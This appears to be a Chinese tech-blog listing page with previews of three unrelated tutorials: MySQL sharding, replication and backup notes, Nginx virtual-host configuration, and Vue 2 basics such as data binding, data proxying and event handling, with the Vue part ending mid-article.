使用UUID作主键是最简单的方案,但是缺点也是非常明显的。由于UUID非常的长,除占用大量存储空间外,最主要的问题是在索引上,在建立索引和基于索引进行查询时都存在性能问题。 Twitter的分布式自增ID算法Snowflake 在分布式系统中,需要生成全局UID的场合还是比较多的,twitter的snowflake解决了这种需求,实现也还是很简单的,除去配置信息,核心代码就是毫秒级时间41位 机器ID 10位 毫秒内序列12位。跨分片的排序分页般来讲,分页时需要按照指定字段进行排序。当排序字段就是分片字段的时候,我们通过分片规则可以比较容易定位到指定的分片,而当排序字段非分片字段的时候,情况就会变得比较复杂了。为了最终结果的准确性,我们需要在不同的分片节点中将数据进行排序并返回,并将不同分片返回的结果集进行汇总和再次排序,最后再返回给用户。如下图所示:12.5 MySQL的复制原理以及流程主从复制:将主数据库中的DDL和DML操作通过二进制日志(BINLOG)传输到从数据库上,然后将这些日志重新执行(重做);从而使得从数据库的数据与主数据库保持一致。主从复制的作用1、主数据库出现问题,可以切换到从数据库。2、可以进行数据库层面的读写分离。3、可以在从数据库上进行日常备份MySQL主从复制解决的问题1、数据分布:随意开始或停止复制,并在不同地理位置分布数据备份2、负载均衡:降低单个服务器的压力3、高可用和故障切换:帮助应用程序避免单点失败4、升级测试:可以用更高版本的MySQL作为从库MySQL主从复制工作原理1、在主库上把数据更高记录到二进制日志2、从库将主库的日志复制到自己的中继日志3、从库读取中继日志的事件,将其重放到从库数据中基本原理流程,3个线程以及之间的关联主:binlog线程——记录下所有改变了数据库数据的语句,放进master上的binlog中;从:io线程——在使用start slave 之后,负责从master上拉取 binlog 内容,放进自己的relay log中;从:sql执行线程——执行relay log中的语句;复制过程Binary log:主数据库的二进制日志Relay log:从服务器的中继日志第一步:master在每个事务更新数据完成之前,将该操作记录串行地写入到binlog文件中。第二步:salve开启一个I/O Thread,该线程在master打开一个普通连接,主要工作是binlog dump process。如果读取的进度已经跟上了master,就进入睡眠状态并等待master产生新的事件。I/O线程最终的目的是将这些事件写入到中继日志中。第三步:SQL Thread会读取中继日志,并顺序执行该日志中的SQL事件,从而与主数据库中的数据保持一致。12.6 读写分离有哪些解决方案?读写分离是依赖于主从复制,而主从复制又是为读写分离服务的。因为主从复制要求slave不能写只能读(如果对slave执行写操作,那么show slave status将会呈现Slave_SQL_Running=NO,此时你需要按照前面提到的手动同步一下slave)。方案一使用mysql-proxy代理优点:直接实现读写分离和负载均衡,不用修改代码,master和slave用一样的帐号,mysql官方不建议实际生产中使用缺点:降低性能, 不支持事务方案二使用AbstractRoutingDataSource+aop+annotation在dao层决定数据源。如果采用了mybatis, 可以将读写分离放在ORM层,比如mybatis可以通过mybatis plugin拦截sql语句,所有的insert/update/delete都访问master库,所有的select 都访问salve库,这样对于dao层都是透明。 plugin实现时可以通过注解或者分析语句是读写方法来选定主从库。不过这样依然有一个问题, 也就是不支持事务, 所以我们还需要重写一下DataSourceTransactionManager, 将read-only的事务扔进读库, 其余的有读有写的扔进写库。方案三使用AbstractRoutingDataSource+aop+annotation在service层决定数据源,可以支持事务.缺点:类内部方法通过this.xx()方式相互调用时,aop不会进行拦截,需进行特殊处理。12.7 备份计划,mysqldump以及xtranbackup的实现原理(1)备份计划视库的大小来定,一般来说 100G 内的库,可以考虑使用 mysqldump 来做,因为 mysqldump更加轻巧灵活,备份时间选在业务低峰期,可以每天进行都进行全量备份(mysqldump 备份出来的文件比较小,压缩之后更小)。100G 以上的库,可以考虑用 xtranbackup 来做,备份速度明显要比 mysqldump 要快。一般是选择一周一个全备,其余每天进行增量备份,备份时间为业务低峰期。(2)备份恢复时间物理备份恢复快,逻辑备份恢复慢这里跟机器,尤其是硬盘的速率有关系,以下列举几个仅供参考20G的2分钟(mysqldump)80G的30分钟(mysqldump)111G的30分钟(mysqldump)288G的3小时(xtra)3T的4小时(xtra)逻辑导入时间一般是备份时间的5倍以上(3)备份恢复失败如何处理首先在恢复之前就应该做足准备工作,避免恢复的时候出错。比如说备份之后的有效性检查、权限检查、空间检查等。如果万一报错,再根据报错的提示来进行相应的调整。(4)mysqldump和xtrabackup实现原理mysqldumpmysqldump 属于逻辑备份。加入–single-transaction 选项可以进行一致性备份。后台进程会先设置 session 的事务隔离级别为 RR(SET SESSION TRANSACTION ISOLATION LEVELREPEATABLE READ),之后显式开启一个事务(START TRANSACTION /*!40100 WITH CONSISTENTSNAPSHOT */),这样就保证了该事务里读到的数据都是事务事务时候的快照。之后再把表的数据读取出来。如果加上–master-data=1 的话,在刚开始的时候还会加一个数据库的读锁(FLUSH TABLES WITH READ LOCK),等开启事务后,再记录下数据库此时 binlog 的位置(showmaster status),马上解锁,再读取表的数据。等所有的数据都已经导完,就可以结束事务Xtrabackup:xtrabackup 属于物理备份,直接拷贝表空间文件,同时不断扫描产生的 redo 日志并保存下来。最后完成 innodb 的备份后,会做一个 flush engine logs 的操作(老版本在有 bug,在5.6 上不做此操作会丢数据),确保所有的 redo log 都已经落盘(涉及到事务的两阶段提交概念,因为 xtrabackup 并不拷贝 binlog,所以必须保证所有的 redo log 都落盘,否则可能会丢最后一组提交事务的数据)。这个时间点就是 innodb 完成备份的时间点,数据文件虽然不是一致性的,但是有这段时间的 redo 就可以让数据文件达到一致性(恢复的时候做的事情)。然后还需要 flush tables with read lock,把 myisam 等其他引擎的表给备份出来,备份完后解锁。这样就做到了完美的热备。12.8 数据表损坏的修复方式有哪些?使用 myisamchk 来修复,具体步骤:1)修复前将mysql服务停止。2)打开命令行方式,然后进入到mysql的/bin目录。3)执行myisamchk –recover 数据库所在路径/*.MYI使用repair table 或者 OPTIMIZE table命令来修复,REPAIR TABLE table_name 修复表 OPTIMIZE TABLE table_name 优化表 REPAIR TABLE 用于修复被破坏的表。 OPTIMIZE TABLE 用于回收闲置的数据库空间,当表上的数据行被删除时,所占据的磁盘空间并没有立即被回收,使用了OPTIMIZE TABLE命令后这些空间将被回收,并且对磁盘上的数据行进行重排(注意:是磁盘上,而非数据库)
文章
存储  ·  SQL  ·  缓存  ·  算法  ·  关系型数据库  ·  MySQL  ·  Java  ·  数据库  ·  数据安全/隐私保护  ·  索引
2023-01-31
手把手教你配置【Nginx的虚拟主机】
一、虚拟主机的概念1.1 什么是虚拟主机虚拟主机,就是把一台物理服务器划分成多个 “虚拟” 的服务器,这样我们的一台物理服务器就可以当做多个服务器来使用,从而可以配置多个网站。Nginx 提供虚拟主机的功能,就是为了让我们不需要安装多个 Nginx,就可以运行多个域名不同的网站。每台虚拟主机都可以是一个独立的网站,可以具有独立的域名,具有完整的Intemet服务器功能(WWW、FTP、Email等),同一台主机上的虚拟主机之间是完全独立的。从网站访问者来看,每一台虚拟主机和一台独立的主机完全一样。Nginx 下,一个 server 标签就是一个虚拟主机。nginx 的虚拟主机就是通过主配置文件 nginx.conf 中 server 节点指定的,想要设置多个虚拟主机,配置多个server节点即可。1.2 配置虚拟主机的方法配置虚拟主机有三种方法:基于域名的虚拟主机 : 不同的域名、相同的IP(此方式应用最广泛)。基于IP地址的虚拟主机 : 不同的域名、不同的IP ( 需要加网络接口 ,应用的不广泛), 基于IP地址。基于端口的虚拟主机 : 不使用域名、IP来区分不同站点的内容,而是用不同的TCP端口号。二、基于域名的 Nginx 虚拟主机2.1 为虚拟主机提供域名解析[root@yuji ~]# echo "192.168.72.10 www.yuji.com www.nan.com" >> /etc/hosts 复制代码2.2 为虚拟主机准备网页文档[root@yuji ~]# mkdir -p /var/www/html/yuji [root@yuji ~]# mkdir -p /var/www/html/nan [root@yuji ~]# echo '<h1>www.yuji.com</h1>' > /var/www/html/yuji/index.html [root@yuji ~]# echo '<h1>www.nan.com</h1>' > /var/www/html/nan/index.html 复制代码2.3 修改Nginx的配置文件配置两个server块,分别设置不同的域名。[root@yuji ~]# vim /usr/local/nginx/conf/nginx.conf ......... http { ......... server { listen 80; server_name www.yuji.com; #设置域名www.yuji.com charset utf-8; access_log logs/www.yuji.access.log; #设置日志名 location / { root /var/www/html/yuji; #设置 www.yuji.com 的工作目录 index index.html index.php; } error_page 500 502 503 504 /50x.html; location = 50x.html { root html; } } server { listen 80; server_name www.nan.com; #设置域名www.nan.com charset utf-8; access_log logs/www.nan.access.log; #设置日志名 location / { root /var/www/html/nan; #设置 www.nan.com 的工作目录 index index.html index.php; } error_page 500 502 503 504 /50x.html; location = 50x.html { root html; } } } 复制代码2.4 重启服务,访问测试[root@yuji ~]# nginx -t //检查配置文件的配置项是否有误 [root@yuji ~]# systemctl restart nginx //重启Nginx服务 浏览器访问 http://www.yuji.com 和 http://www.nan.com 复制代码三、基于ip地址的nginx虚拟主机两个server块,设置不同的监听地址即可,其他跟基于域名都一样。例如:listen 192.168.72.10:80 www.yuji.comlisten 192.168.72.20:80 www.nan.com3.1 设置临时ip,以达到一台服务器拥有多个ip地址,不同ip访问不同的服务页面[root@yuji ~]# ifconfig ens33:0 192.168.72.20/24 复制代码3.2 修改配置文件,之后重启服务,访问测试。[root@yuji ~]# vim /usr/local/nginx/conf/nginx.conf ......... http { ......... server { listen 192.168.72.10:80; #设置监听地址192.168.72.10 server_name www.yuji.com; charset utf-8; access_log logs/www.yuji.access.log; #设置日志名 location / { root /var/www/html/yuji; #设置 www.yuji.com 的工作目录 index index.html index.php; } error_page 500 502 503 504 /50x.html; location = 50x.html { root html; } } server { listen 192.168.72.20:80; #设置监听地址192.168.72.20 server_name www.nan.com; charset utf-8; access_log logs/www.nan.access.log; #设置日志名 location / { root /var/www/html/nan; #设置 www.yuji.com 的工作目录 index index.html index.php; } error_page 500 502 503 504 /50x.html; location = 50x.html { root html; } } } #重启服务,访问测试 [root@yuji ~]# nginx -t //检查配置文件的配置项是否有误 #如果服务器只有一个ip,即没有设置临时ip,则 nginx -t 会报错,错误信息为不能绑定ip [root@yuji ~]# systemctl restart nginx //重启nginx服务 浏览器访问 http://192.168.72.10 和 http://192.168.72.20 复制代码四、基于端口的nginx虚拟主机修改IP地址后面的端口即可。[root@yuji ~]# vim /usr/local/nginx/conf/nginx.conf ......... http { ......... server { listen 192.168.72.10:666; #设置监听端口为666 server_name www.kgc.com; charset utf-8; access_log logs/www.yuji.access.log; #设置日志名 location / { root /var/www/html/yuji; #设置 www.kgc.com 的工作目录 index index.html index.php; } ...... } server { listen 192.168.72.10:888; #设置监听端口为888 server_name www.nan.com; charset utf-8; access_log logs/www.nant.access.log; #设置日志名 location / { root /var/www/html/nan; #设置 www.benet.com 的工作目录 index index.html index.php; } ....... } } [root@yuji ~]# nginx -t //检查配置文件的配置项是否有误 [root@yuji ~]# systemctl restart nginx //重启nginx服务 浏览器访问 http://192.168.72.10:666 和 http://192.168.72.10:888 复制代码
文章
域名解析  ·  网络协议  ·  应用服务中间件  ·  nginx
2022-11-15
Vue2.x全家桶
Vue1、Vue简介1.1、官网英文官网:https://vuejs.org/中文官网:https://cn.vuejs.org/1.2、介绍与描述1、Vue是一套用来动态构建用户界面的渐进式 JavaScript框架构建用户界面:把数据通过某种办法转换成用户界面渐进式:Vue可以自底向上逐层的应用,简单应用只需要一个轻量小巧的核心库,复杂应用可以引入各式各样的Vue插件2、作者:尤雨溪1.3、Vue的特点遵循 MVVM 模式编程简洁、体积小、运行效率高,适合PC/移动开发它本身只关注UI,可以引入其他的第三方开发项目采用组件化模式,提高代码复用率声明式编程,让编码人员无需直接操作 DOM ,提高开发效率使用虚拟 DOM 和 Diff 算法,尽量复用 DOM 节点1.4、对比其他 JS 框架的关联借鉴 Angular Js 的模板和数据绑定技术借鉴 React 的组件化和 虚拟DOM技术1.5、Vue周边库vue-cli:vue脚手架vue-resource(axios):ajax请求vue-router:路由vuex:状态管理(它是vue的插件但是没有用 vue-xxx的命名规则)vue-lazyload:图片懒加载vue-scroller:页面滑动相关mint-ui:基于 vue 的 UI 组件库(移动端)element-ui:基于 vue 的 UI 组件库(PC端)2、Vue核心2.1、初识 Vue2.2、前置工作给浏览器安装 Vue Devtools 插件标签引入 Vue 包(可选)阻止vue在启动时生成生产提示 Vue.config.productionTip = falsefavicon 需要将页签图标放在项目根路径,重新打开就有了(shift + F5/ command + R)在这里可能有很多小伙伴会出现的一个问题,那就是下载了或者是之前下载过,但是不显示使用,那么请注意如下:解决vue.js出现Vue.js not detected错误:然后你就会发现完美解决!<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 </script> </body> </html>2.2、初识Vue想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象demo容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法demo容器里的代码被称为【Vue模板】Vue实例和容器是一一对应的真实开发中只有一个Vue实例,并且会配合着组件一起使用{{xxx}}是Vue的语法:插值表达式,{{xxx}}可以读取到data中的所有属性注意区分:js代码(语句)与 js表达式表达式:一个表达式会产生一个值,可以放在任何一个需要值的位置a + b 、demo(1) 、x === y ? ‘a’ : ‘b’js代码(语句)if() {} for() {}一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新(Vue实现的响应式)初始示例代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <h1>hello,{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 new Vue({ el: "#demo", // el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 // el: document.getElementById("demo"), 这个是拓展的一种写法,不推荐使用! data: { // data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: 'yykk' } }) </script> </body> </html>2.3、模板语法Vue模板语法有2大类:插值语法:功能:用于解析标签体内容写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性指令语法:功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性备注: Vue 中的很多的指令,且形式都是 v-xxx ,此处只是拿 v-bind 举例!代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>模板语法</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h1>插值语法</h1> <h2>hello,{{name}}</h2> <hr /> <h1>指令语法</h1> <a v-bind:href="dt.url">博客园</a> <a :href="dt.url.toUpperCase()">博客名称:{{dt.name}}</a> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: "#root", data: { name: 'yykk', dt: { name: 'Anlya', url: 'http://cnblogs.com/zhaostudy/' } } }) </script> </body> </html>2.4、数据绑定Vue中有2种数据绑定的方式:单向绑定(v-bind):数据只能从data流向页面双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向datatips:1.双向绑定一般都应用在表单类元素上(如:input、select等)2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <!-- 普通写法 --> <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/> 双向数据绑定:<input type="text" v-model:value="name"> --> <!-- 简写 --> 单向数据绑定:<input type="text" :value="name"><br /> 双向数据绑定:<input type="text" v-model="name"> <!-- 如下代码是错误的,因为v-model只能应用在表单类元素上(输入类元素)! --> <!-- <h2 v-model:x="name">你好呀!</h2> --> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 new Vue({ el: "#root", data: { name: 'yykk' } }) </script> </body> </html>2.5、el与data的两种写法el有2种写法new Vue时候配置el属性先创建Vue实例,随后再通过vm.$mount('#root')指定el的值代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h1>hello,{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // el的两种写法 const vm = new Vue({ // el: "#root", // 第一种写法 data: { name: 'yykk' } }) console.log(vm); vm.$mount('#root') // 第二种写法 </script> </body> </html>2.5.1、data有2种写法对象式函数式在组件中,data必须使用函数式代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h1>hello,{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // el的两种写法 const vm = new Vue({ // data的第一种写法 // data: { // name: 'yykk' // }, // data的第二种写法 data() { return { name: 'yykk' } } }) vm.$mount('#root') </script> </body> </html>2.6、Vue中的MVVM模型M:模型(Model) :data中的数据V:视图(View) :模板代码VM:视图模型(ViewModel):Vue实例<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h1>hello,{{name}}</h1> <h1>地址:{{address}}</h1> <h3>测试:{{$emit}}</h3> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: '#root', data: { name: 'yykk', address: '上海' }, }) </script> </body> </html>观察发现:data中所有的属性,最后都出现在了vm身上vm身上的所有属性 以及Vue原型链上的所有属性,在Vue模板中都可以直接使用。2.7、数据代理建议学习文章地址:https://zh.javascript.info/property-descriptorshttps://zh.javascript.info/property-accessors这里简单介绍一下:属性标志:对象属性(properties),除 value 外,还有三个特殊的特性(attributes),也就是所谓的“标志”writable — 如果为 true,则值可以被修改,否则它是只可读的enumerable — 如果为 true,则表示是可以遍历的,可以在for.. .in Object.keys()中遍历出来configurable — 如果为 true,则此属性可以被删除,这些特性也可以被修改,否则不可以Object.getOwnPropertyDescriptor(obj, propertyName)这个方法是查询有关属性的完整信息 obj是对象, propertyName是属性名let user = { name: "yykk" }; let descriptor = Object.getOwnPropertyDescriptor(user, 'name'); console.log(descriptor) /* 属性描述符: { "value": "yykk", "writable": true, "enumerable": true, "configurable": true } */Object.defineProperty(obj, prop, descriptor)obj:要定义属性的对象。prop:要定义或修改的属性的名称descriptor:要定义或修改的属性描述符<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Object.defineproperty方法</title> </head> <body> <script> let number = 18 let person = { name: 'yykk', sex: '男', // age: 18 } Object.defineProperty(person, 'age', { // value: 3, // enumerable: true, // 控制属性是否可以把被枚举,默认为false // writable: true, // 控制属性是否可以被修改,默认为false // configurable: true // 控制属性是否可以被删除,默认为false // 当有人读取person的age属性的时候,get函数(getter)就会被调用,且返回值就是age的值 get() { console.log('读取数据'); return number; }, // 当有人修改person的age属性的时候,set函数(setter)就会被调用,且收到修改的具体值 set(value) { console.log('修改数据,值为', value); number = value; } }) /* 属性描述符: { "value": "yykk", "writable": true, "enumerable": true, "configurable": true } */ </script> </body> </html>其他的属性标志就不演示了,接下来看重点:访问器属性。访问器属性:本质上是用于获取和设置值的函数,但从外部代码来看就像常规属性。访问器属性由 “getter” 和 “setter” 方法表示。在对象字面量中,它们用 get 和 set 表示:let obj = { get name() { // 当读取 obj.propName 时,getter 起作用 }, set name() { // 当执行 obj.name = value 操作时,setter 起作用 } }更复杂一点的使用从外表看,访问器属性看起来就像一个普通属性。这就是访问器属性的设计思想。我们不以函数的方式 调用 user.fullName,我们正常 读取 它:getter 在幕后运行。Vue的计算属性的底层构造感觉用到了这种思想,我目前还没看过源码,是这样猜想的。截至目前,fullName 只有一个 getter。如果我们尝试赋值操作 user.fullName=,将会出现错误:user.fullName = "Test"; // Error(属性只有一个 getter)为 user.fullName 添加一个 setter 来修复它: let user = { name: 'yy', username: 'kk', get fullName() { return this.name + ' ' + this.username; }, set fullName(value) { // 这个用到了新语法 结构赋值 [this.username, this.name] = value.split(' '); } } console.log(user.name); console.log(user.username);终于可以介绍数据代理了:数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)先来看个案例:let obj = { x: 100 } let obj2 = { y: 200 }这时候提一个需求:我们想要访问 obj 中的 x 的值,但我们最好不要直接去访问 obj ,而是想要通过 obj2 这个代理对象去访问。这时候就可以用上 Object.defineProperty(),给 obj2 添加上访问器属性(也就是getter和setter)代码let obj = { x: 100 } let obj2 = { y: 200 } Object.defineProperty(obj2, 'x', { get() { return obj.x; }, set(value) { obj.x = value; } })这就是数据代理,也不难吧接下来介绍Vue中的数据代理Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)Vue中数据代理的好处:更加方便的操作data中的数据基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性,都指定一个getter/setter。在getter/setter内部去操作(读/写)data中对应的属性。我来用一个案例来详细解释这一个过程。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>vue中的数据代理</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h3>地址:{{address}}</h3> <h3>昵称:{{name}}</h3> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { name: 'yykk', address: '广东' } }) </script> </body> </html>我们在控制台打印 new 出来的 vm可以看到,写在配置项中的 data 数据被 绑定到了 vm 对象上,我先来讲结果,是 Vue 将 _data 中的 name,address 数据 代理到 vm 本身上。一脸懵逼?先来解释下_data 是啥, _data 就是 vm 身上的 _data 属性,就是下图那个这个 _data 是从哪来的? <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { name: 'yykk', address: '广东' } }) </script>new Vue 时, Vue 通过一系列处理, 将匹配项上的 data 数据绑定到了 _data 这个属性上,并对这个属性进行了处理(数据劫持),但这个属性就是来源于配置项中的 data,我们可以来验证一下。 <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 let datax = { name: 'yykk', address: '广东' } // 创建Vue实例 const vm = new Vue({ el: "#root", data: datax }) </script>然后打开浏览器,进行验证:打印结果为true,说明两者就是同一个好了,再回到数据代理上来,将 vm._data 中的值,再代理到 vm 本身上来,用vm.name 代替 vm._data.name。这就是 Vue 的数据代理这一切都是通过 Object.defineProperty() 来完成的,我来模拟一下这个过程Object.defineProperty(vm, 'name', { get() { return vm._data.name; }, set(value) { vm._data.name = value } })这样有啥意义?明明通过 vm._data.name 也可以访问 name 的值,为啥费力去这样操作?在插值语法中,{{ name }} 取到的值就相当于 {{ vm.name }},不用数据代理的话,在插值语法就要这样去写了。{{ _data. name }} 这不符合直觉,怪怪的。vue 这样设计更利于开发者开发,我们在研究原理会觉得有些复杂(笑~)Vue 将 data 中的数据拷贝一份到 _data 属性中,又将 _data 里面的属性提升到 Vue实例 中(如name),通过 defineProperty 实现数据代理,这样通过 getter/setter 操作 name,进而操作 _data 中的name。而 _data 又对 data 进行数据劫持,实现响应式。2.8 、事件处理事件的基本使用:使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名事件的回调需要配置在 methods 对象中,最终会在 vm 上methods 中配置的函数,不要使用箭头函数,否则this就不是 vm 了methods中配置的函数,都是被 Vue 所管理的函数,this的指向是 vm 或 组件实例对象@click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>事件的基本使用</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h3>欢迎来到{{name}}学习</h3> <!-- <button v-on:click="showInfo">点我提示信息</button> --> <button @click="showInfo">点我提示信息(不传参)</button> <button @click="showInfoPro($event,123)">点我提示信息(传参)</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { name: '博客园', }, methods: { showInfo() { alert('同学你好'); }, // 如果vue模板没有写event,会自动传 event 给函数 showInfoPro(event, number) { console.log(event, number); // console.log(event.target.innerText); console.log(this); // 此处的this是vm alert('同学你好'); } }, }) </script> </body> </html>Vue中的事件修饰符prevent:阻止默认事件(常用)stop:阻止事件冒泡(常用)once:事件只触发一次(常用)capture:使用事件的捕获模式self:只有event.target 是当前操作的元素时才触发事件passive:事件的默认行为立即执行,无需等待回调执行完毕(更适合移动手机端的应用)修饰符可以连续写,比如可以这样用:@click.prevent.stop=“showInfo”<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>事件修饰符</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> * { margin: 20px; } .demo1 { height: 50px; background-color: red; } .box1 { padding: 10px; background-color: rosybrown; } .box2 { padding: 10px; background-color: orange; } .list { width: 200px; height: 200px; background-color: pink; overflow: auto; } li { height: 100px; } </style> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h3>欢迎来到{{name}}学习</h3> <!-- 阻止默认事件(常用) --> <a href="https://cnblogs.com/zhaostudy/" @click.prevent="showInfo">点击提示</a> <!-- 阻止事件冒泡(常用) --> <div class="demo1" @click="showInfo"> <button @click.stop.prevent="showInfo">点击提示信息</button> </div> <!-- 事件只触发一次 --> <button @click.once="showInfo">点击提示信息</button> <!-- 使用事件的捕获模式 --> <div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div> <!-- 只有event.target是当前操作的元素时才触发事件 --> <div class="demo1" @click.self="showInfo"> <button @click.stop="showInfo">点击提示信息</button> </div> <!-- 事件的默认行为立即执行,无需等待回调执行完毕 --> <!-- <ul class="list" @scroll="demo"> --> <ul class="list" @wheel.passive="demo"> <li>1</li> <li>2</li> <li>3</li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { name: '博客园', }, methods: { showInfo(event) { // event.preventDefault(); // event.stopPropagation(); // console.log(event.target); alert('同学你好'); }, showMsg(msg) { console.log(msg); }, demo() { for (let i = 0; i < 100000; i++) { console.log('#'); } console.log('瘫痪了'); } }, }) </script> </body> </html>2.9、键盘事件键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而 Vue 还对一些常用按键起了别名方便使用键盘事件语法糖:@keydown,@keyupVue中常用的按键别名:回车 => enter删除 => delete退出 => esc空格 => space换行 => tab (特殊,必须配合keydown去使用)上 up下 down左 left右 rightVue 为提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case(多单词小写短横线写法)系统修饰键(用法特殊)ctrl 、alt 、shift 、meta (meta 就是 win 键、mac上就是 command)配合 keyup 使用:按下修饰符的同时,在按下其他键,然后释放其他键,时间才被触发指定ctrl + y 使用 @keyup.ctrl.y配合 keydown 使用:正常触发事件也可以使用 keyCode 去指定具体的按键(不推荐)Vue.config.keyCodes.自定义编码 = 键码,可以去定制按键别名如果在指定按键的时候遇到多个单词组成的例如:切换大小写按键(CapsLock),那么你需要写成 @keyup.caps-lock=“xxx”<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>键盘事件</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h3>hello,{{name}}</h3> <input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo"> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 Vue.config.keyCodes.huiche = 13 new Vue({ el: "#root", data: { name: 'yykk' }, methods: { showInfo(event) { // console.log(event.key); // if (event.keyCode != 13) return // 13是Enter的别名 console.log(event.target.value); } }, }) </script> </body> </html>2.10、计算属性定义:要用的属性不存在,要通过已有属性计算得来原理:底层借助了 Objcet.defineProperty 方法提供的 getter 和 setterget函数什么时候执行?(1).初次读取时会执行一次(2).当依赖的数据发生改变时会被再次调用优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便备注:计算属性最终会出现在 vm上,直接读取使用即可如果计算属性要被修改,那必须写 set 函数去响应修改,且set中要引起计算时依赖的数据发生改变如果计算属性确定不考虑修改,可以使用计算属性的简写形式计算属性_差值语法<!DOCTYPE html> 